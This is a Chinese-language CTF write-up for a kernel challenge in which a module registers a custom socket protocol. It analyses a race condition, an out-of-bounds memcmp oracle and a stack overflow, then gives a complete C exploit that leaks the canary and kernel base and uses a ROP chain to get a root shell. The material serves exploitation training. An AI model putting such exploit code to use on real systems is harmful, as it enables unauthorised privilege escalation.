前言
这个题目与之前做的有所不同,题目并不是创建的一个字符设备或 misc
设备,而是注册了一个新的协议。但是就利用而言跟之前没啥区别,由于不是搞内核开发的,就简单看了看相关的知识
题目分析
- 内核版本:
v5.4.142
smap/smep/kaslr/kpti
全开- 内核栈溢出
题目注册了一个新的协议,family
为 15
:
__int64 __fastcall init_module()
{
_fentry__();
get_random_bytes(magic_key, 256LL);
proto_register(&proto, 1LL);
sock_register(&net_family_ops);
return 0LL;
}
这里 magic_key
是一个 256
字节的随机序列,然后注册 proto/sock
,其中 net_family_ops
结构如下:
00000000 net_proto_family struc ; (sizeof=0x18, mappedto_5)
00000000 ; XREF: .rodata:net_family_ops/r
00000000 family dd ?
00000004 field_4 dd ?
00000008 create dq ? ; offset
00000010 owner dq ? ; offset
00000018 net_proto_family ends
.rodata:0000000000001130 ; struct net_proto_family net_family_ops
.rodata:0000000000001130 0F 00 00 00 00 00 00 00 B2 0D+net_family_ops net_proto_family <0Fh, 0, offset magic_create, offset __this_module>
.rodata:0000000000001130 00 00 00 00 00 00 00 1C 00 00+ ; DATA XREF: init_module+2B↑o
所以这里的 family = 0xf
,然后跟进其对应的 create
函数:
__int64 __fastcall magic_create(void *net, struct socket *socket, int protocol, int kern)
{
unsigned int v4; // ecx
__int64 sock; // [rsp-10h] [rbp-10h]
_fentry__();
sock = sk_alloc(net, 15LL, 0xCC0LL, &proto, v4);
if ( !sock )
return 0xFFFFFFF4LL;
socket->ops = (__int64)&socket_proto_ops;
sock_init_data(socket, sock);
*(_WORD *)(sock + 16) = 15; // family
return 0LL;
}
可以看到这里设置了 socket
的 ops
字段,其中 socket_proto_ops
结构如下:
.rodata:0000000000001040 0F 00 00 00 socket_proto_ops dd 0Fh ; DATA XREF: magic_create+54↑o
.rodata:0000000000001044 00 00 00 00 dd 0
.rodata:0000000000001048 00 1C 00 00 00 00 00 00 dq offset __this_module
.rodata:0000000000001050 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001058 40 22 00 00 00 00 00 00 dq offset sock_no_bind
.rodata:0000000000001060 E0 21 00 00 00 00 00 00 dq offset sock_no_connect
.rodata:0000000000001068 58 22 00 00 00 00 00 00 dq offset sock_no_socketpair
.rodata:0000000000001070 20 22 00 00 00 00 00 00 dq offset sock_no_accept
.rodata:0000000000001078 88 22 00 00 00 00 00 00 dq offset sock_no_getname
.rodata:0000000000001080 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001088 42 08 00 00 00 00 00 00 dq offset socket_ioctl
.rodata:0000000000001090 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001098 00 00 00 00 00 00 00 00 dq 0
.rodata:00000000000010A0 28 22 00 00 00 00 00 00 dq offset sock_no_listen
.rodata:00000000000010A8 18 22 00 00 00 00 00 00 dq offset sock_no_shutdown
.rodata:00000000000010B0 F3 07 00 00 00 00 00 00 dq offset socket_setsockopt
.rodata:00000000000010B8 A0 22 00 00 00 00 00 00 dq offset sock_no_getsockopt
.rodata:00000000000010C0 00 00 00 00 00 00 00 00 dq 0
.rodata:00000000000010C8 00 00 00 00 00 00 00 00 dq 0
.rodata:00000000000010D0 D0 21 00 00 00 00 00 00 dq offset sock_no_sendmsg
.rodata:00000000000010D8 68 22 00 00 00 00 00 00 dq offset sock_no_recvmsg
.rodata:00000000000010E0 70 22 00 00 00 00 00 00 dq offset sock_no_mmap
.rodata:00000000000010E8 78 22 00 00 00 00 00 00 dq offset sock_no_sendpage
.rodata:00000000000010F0 00 00 00 00 00 00 00 00 dq 0
.rodata:00000000000010F8 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001100 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001108 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001110 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001118 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001120 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001128 00 00 00 00 00 00 00 00 dq 0
.rodata:0000000000001130 ; struct net_proto_family net_family_ops
所以这里其实就定义了 socket_ioctl
和 socket_setsockopt
两个交互函数,先跟进 socket_setsockopt
函数:
int __fastcall socket_setsockopt(__int64 socket, __int32 level, __int32 optname, __int64 optval, uint32_t optlen)
{
int optname_; // edx
__int64 optval_; // rcx
int v8; // [rsp-Ch] [rbp-Ch]
_fentry__();
if ( optname_ == 0xDEADBEEF )
return enc(optval_);
if ( optname_ == 0x13371337 )
return 0x1337;
return v8;
}
其有效功能就只有一个,跟进 enc
函数:
__int64 __fastcall enc(__int64 a1)
{
int i; // [rsp-44h] [rbp-44h]
__int64 v3; // [rsp-38h] [rbp-38h]
__int64 len; // [rsp-20h] [rbp-20h]
_fentry__();
v3 = dev_info.len;
len = dev_info.len;
if ( dev_info.len > 0x7FFFFFFFuLL ) // dev_info.len 的值在 [0, 0x7fffffff] 都是合法的,所以如果可以将 dev_info.len 修改为一个较大的值就可以实现越界写了
BUG();
nop((__int64)dev_info.data, dev_info.len, 0);
if ( copy_from_user(dev_info.data, a1, len) )
return -22LL;
for ( i = 0; i <= 255; ++i )
dev_info.data[i] ^= magic_key[i];
return v3;
}
可以看到该函数主要就是向 dev_info.data
中写入数据,这里 dev_info
结构如下:
00000000 node struc ; (sizeof=0x108, mappedto_3)
00000000 ; XREF: .bss:dev_info/r
00000000 len dq ? ; XREF: set_len+11/r
00000000 ; set_len+20/w ...
00000008 data db 256 dup(?)
00000108 node ends
.bss:00000000000020C0 public dev_info
.bss:00000000000020C0 ; struct node dev_info
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+dev_info node <?> ; DATA XREF: set_len+11↑r
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; set_len+20↑w
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; set_len+41↑w
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; enc+11↑r
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; enc+20↑o
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; enc+12C↑r
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; enc+146↑w
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; sub_2CF+340↑o
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; socket_ioctl+386↑o
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends
.bss:00000000000020C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+
可以看到这里的 data
域的大小为 255
,而 enc
检查 dev_info.len
的时候是检查其是否在 [0, 0x7fffffff]
之间,所以这里如果 dev_info.len > 255
则导致越界写入 dev_info.len
然后跟进 socket_ioctl
函数:
int __fastcall socket_ioctl(__int64 socket, int cmd, __int64 arg)
{
__int64 v3; // rbp
unsigned __int64 arg3_len; // rdx
unsigned __int64 agr3_req; // [rsp-1E0h] [rbp-1E0h]
int v7; // [rsp-1C4h] [rbp-1C4h]
unsigned __int64 len; // [rsp-1A8h] [rbp-1A8h]
int64_t llen; // [rsp-1A8h] [rbp-1A8h]
__int64 buf; // [rsp-170h] [rbp-170h]
__int64 bbuf; // [rsp-148h] [rbp-148h]
int64_t lllen; // [rsp-140h] [rbp-140h]
struct req req; // [rsp-128h] [rbp-128h] BYREF
_BYTE buffer_256[256]; // [rsp-110h] [rbp-110h] BYREF
unsigned __int64 v15; // [rsp-10h] [rbp-10h]
__int64 v16; // [rsp-8h] [rbp-8h]
_fentry__();
v16 = v3;
agr3_req = arg3_len;
v15 = __readgsqword(0x28u);
v7 = -22;
if ( cmd == 0x13371001 )
return set_len(arg3_len);
if ( cmd != 0x13371002 )
return v7;
memset(buffer_256, 0, sizeof(buffer_256));
nop((__int64)&req, 24LL, 0);
if ( copy_from_user(&req, agr3_req, 24LL) )
return 0xFFFFFFEA;
if ( req.cmd == 0x1337 )
{
len = req.len;
if ( req.len > 256 ) // 这里是 int64_t 比较,所以可以用负数绕过
len = 256LL;
buf = req.buf;
if ( len > 0x7FFFFFFF ) // 这里是 uint64_t 比较,而 0x7FFFFFFF 是 int 的最大值,所以负数无法绕过
BUG(); // 就这里而言,其不存在绕过,req.len 似乎必须在[0, 256]之间
nop((__int64)buffer_256, len, 0);
if ( copy_from_user(buffer_256, buf, len) )
return -22;
if ( !memcmp(dev_info.data, buffer_256, req.len) )// 这里用的 req.len,其可能存在溢出比较?buffer_256 后面的内容不可控
return req.len;
}
else if ( req.cmd == 0x1338 )
{
llen = req.len;
if ( req.len > 256 )
llen = 256LL;
bbuf = req.buf;
lllen = req.len;
if ( req.len > 0x7FFFFFFFuLL )
BUG();
nop((__int64)buffer_256, req.len, 0);
if ( copy_from_user(buffer_256, bbuf, lllen) )// 这里的 lllen 没有经过 '>256' 的检查,所以其值在[0, 0x7fffffff]之间,存在栈溢出
return 0xFFFFFFEA;
if ( !memcmp(magic_key, buffer_256, llen) ) // 这里的 llen 经过了检查,所以这里是正常比较
return llen;
}
return 0;
}
该函数有三个功能,第一个功能是修改 dev_info.len
,跟进 set_len
函数:
__int64 __fastcall set_len(unsigned __int64 new_len)
{
__int64 old_len; // [rsp-10h] [rbp-10h]
_fentry__();
old_len = dev_info.len;
dev_info.len = new_len; // 这里是唯一可以设置 dev_info.len 的地方 【1】
if ( new_len > 256 ) // 设置 dev_info.len 字段,限制在[0, 256]之间
{
printk(&unk_F6C);
dev_info.len = old_len;
}
return 0LL;
}
这个函数是唯一可以设置 dev_info.len
的地方,但是其严格限制了最后 dev_info.len
在 [0, 256]
之间,但是这个有个问题:
- 这里是先保存了原来
dev_info.len
的值,然后把new_len
赋值给了dev_info.len
【1】 - 后面在检查
new_len
的合法性,如果new_len
不在[0, 256]
则恢复dev_info.len
为原来的值【2】
可以发现对 dev_info.len
的访问并没有上锁,而之前我们说了,enc
函数中对 dev_info.dev
写入的字节数就是 dev_info.len
,所以 enc
和 set_len
两个函数存在对 dev_info.len
的竞争访问:
enc
读取dev_info.len
set_len
在【1】处修改dev_info.len
所以如果 enc
函数在 set_len
的【1】~【2】之间竞争获取 dev_info.len
的值,则会导致越界写 dev_info.data
正常来说,修改一个变量应该是先检查值是否合法,合法才进行赋值,而不是想上面先进行赋值在检查是否合法
但是这里单纯越界写 dev_info.data
似乎并每有太大的作用,毕竟开启了 kaslr
,所以还是得想办法泄漏 kbase
。然后看 socket_ioctl
函数的第二个功能:
if ( req.cmd == 0x1337 )
{
len = req.len;
if ( req.len > 256 ) // 这里是 int64_t 比较,所以可以用负数绕过
len = 256LL;
buf = req.buf;
if ( len > 0x7FFFFFFF ) // 这里是 uint64_t 比较,而 0x7FFFFFFF 是 int 的最大值,所以负数无法绕过
BUG(); // 就这里而言,其不存在绕过,req.len 似乎必须在[0, 256]之间
nop((__int64)buffer_256, len, 0);
if ( copy_from_user(buffer_256, buf, len) )
return -22;
if ( !memcmp(dev_info.data, buffer_256, req.len) )// 这里用的 req.len,其可能存在溢出比较?buffer_256 后面的内容不可控
return req.len;
}
......
return 0;
可以看到这里的 memcmp
存在越界比较,这里的 req.len
是用户可控的,虽然上面检查了 req.len
但是并没有修改 req.len
,而是修改的其副本 len
,所以这里的 len
是只能在 [0, 256]
之间,所以这里的 copy_from_user
不存在越界。那么这里的越界比较有什么用呢?答案:可以用来泄漏相关信息
这里的 buffer_256
是一个局部变量,也就是内核栈上的一个地址,而 dev_info.data
我们是可以通过条件竞争去往 dev_info.data+256
后写入数据的,我们知道内核栈上保存着相关的内核地址,所以 buffer_256+256
后面存在大量有用的数量,所以这里可以通过逐字节爆破去泄漏相关内核地址,因为这里如果 memcmp
成功其返回的是 req.len
,而失败则返回的是 0
,通过其返回值就可以判断某字节是否爆破成功
但是我们知道 dev_info.data
的前 256
字节是经过 magic_key
异或加密过的,所以这里我们得泄漏 magic_key
,否则 memcmp
在前 256
字节就比较失败了,从而无法泄漏相关有效消息
然后在看 socket_ioctl
的第三个功能:
else if ( req.cmd == 0x1338 )
{
llen = req.len;
if ( req.len > 256 )
llen = 256LL;
bbuf = req.buf;
lllen = req.len;
if ( req.len > 0x7FFFFFFFuLL )
BUG();
nop((__int64)buffer_256, req.len, 0);
if ( copy_from_user(buffer_256, bbuf, lllen) )// 这里的 lllen 没有经过 '>256' 的检查,所以其值在[0, 0x7fffffff]之间,存在栈溢出
return 0xFFFFFFEA;
if ( !memcmp(magic_key, buffer_256, llen) ) // 这里的 llen 经过了检查,所以这里是正常比较
return llen;
}
return 0;
这里跟第二个功能的漏洞逻辑差不多,首先是这里的 copy_from_user
存在异常,因为这里的 lllen = req.len
,这里只检查了其是否在 [0, 0x7fffffffff]
,而 buffer_256
的大小为 256
字节,所以这里存在栈溢出。而这里的 llen
是被严格限制在 [0, 256]
之间的,所以这里的 memcmp
不存在溢出比较,但是这里是与 magic_key
进行比较,比较成功则返回 llen
,失败返回 0
,所以这里也可以直接逐字节爆破 magic_key
泄漏了 magic_key
后,利用上目的第二个功能就可以爆破栈上数据了,所以这里我们存在的原语有:
- 内核栈溢出
dev_info.len
条件竞争
漏洞利用
经过上面的分析,漏洞利用就比较简单了,思路如下:
- 先爆破泄漏
magic_key
- 然后利用条件竞争越界修改
dev_info.data
,从而爆破泄漏kcanary/kbase
- 然后栈溢出布置
rop
链提权
exp
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
void err_exit(char *msg)
{
perror(msg);
sleep(2);
exit(EXIT_FAILURE);
}
void fail_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(2);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(2);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
#define MAGIC 0xF
int fd;
int run = 1;
char key[0x100] = { 0 };
char buf[0x300] = { 0 };
char cmp_buf[0x300] = { 0 };
uint64_t kcanary;
uint64_t kbase;
uint64_t koffset;
uint64_t krbp;
struct req {
uint64_t cmd;
uint64_t len;
void* buf;
};
int set_len(uint64_t len) {
return ioctl(fd, 0x13371001, len);
}
int cmp(uint64_t len) {
struct req req = { .cmd = 0x1337, .buf = cmp_buf, .len = len };
return ioctl(fd, 0x13371002, &req);
}
int copy(uint64_t len) {
struct req req = { .cmd = 0x1338, .buf = buf, .len = len };
return ioctl(fd, 0x13371002, &req);
}
int enc() {
return setsockopt(fd, 0, 0xDEADBEEF, buf, 0);
}
void bruteforce_key() {
int res;
memset(buf, 0, sizeof(buf));
for (int i = 0; i < 256; i++) {
for (uint32_t j = 0; j <= 0xff; j++) {
buf[i] = j;
res = copy(i+1);
if (res == i+1) {
key[i] = j;
break;
}
}
}
}
void enc_buf() {
for (int i = 0; i < 256; i++) {
cmp_buf[i] ^= key[i];
}
}
void* change_len(void* arg) {
while (run) {
set_len(0x150);
}
}
void leak_kbase() {
int res;
memset(buf, 0, sizeof(buf));
memset(cmp_buf, 0, sizeof(cmp_buf));
enc_buf();
for (int i = 0; i < 24; i++) {
for (uint64_t j = 0; j <= 0xff; j++) {
buf[256+i] = j;
res = enc();
while (res != 0x150) {
res = enc();
}
res = cmp(256+i+1);
if (res == 256+i+1) {
if (i < 8) {
kcanary |= j << i*8;
printf("[+] kcanary: %#llx\n", kcanary);
} else if (i > 15) {
kbase |= j << (i-16)*8;
printf("[+] kaddr: %#llx\n", kbase);
} else {
krbp |= j << (i-8)*8;
}
break;
}
}
}
}
int main(int argc, char** argv, char** envp)
{
save_status();
pthread_t thr;
fd = socket(MAGIC, SOCK_DGRAM, 0);
if (fd < 0) err_exit("socket");
bruteforce_key();
binary_dump("magic_key", key, 256);
pthread_create(&thr, NULL, change_len, NULL);
leak_kbase();
run = 0;
pthread_join(thr, NULL);
kbase -= 0x902b1d;
koffset = kbase - 0xffffffff81000000;
printf("[+] kbase: %#llx\n", kbase);
printf("[+] koffset: %#llx\n", koffset);
uint64_t commit_creds = koffset + 0xffffffff810ca910;
uint64_t init_cred = koffset + 0xffffffff8265e400;
uint64_t kpti_trampoline = koffset + 0xffffffff81c00a4a;
uint64_t pop_rdi = koffset + 0xffffffff8108cbc0;
uint64_t rop[] = {
kcanary,krbp,
pop_rdi,
init_cred,
commit_creds,
kpti_trampoline,
0,0,
(uint64_t)get_root_shell,
0x33,
0x200,
user_sp,
0x2b
};
memcpy(buf+0x100, rop, sizeof(rop));
copy(0x100+sizeof(rop));
puts("[+] EXP NERVER END!");
getchar();
return 0;
}
效果如下:
总结
题目不算难,主要是最开始对 socket
底层创建不太熟悉,所以分析相关函数如果调用搞了很久,其实跟之前的题目没啥区别
这里利用 memcmp
去爆破泄漏相关地址还挺好的,而且这里的竞争漏洞真的出的好,条件竞争就是出现在对临界区资源的访问上,这里对临界资源 dev_info.len
没有进行相关的互斥机制处理,从而导致读写 dev_info.len
出现了竞争访问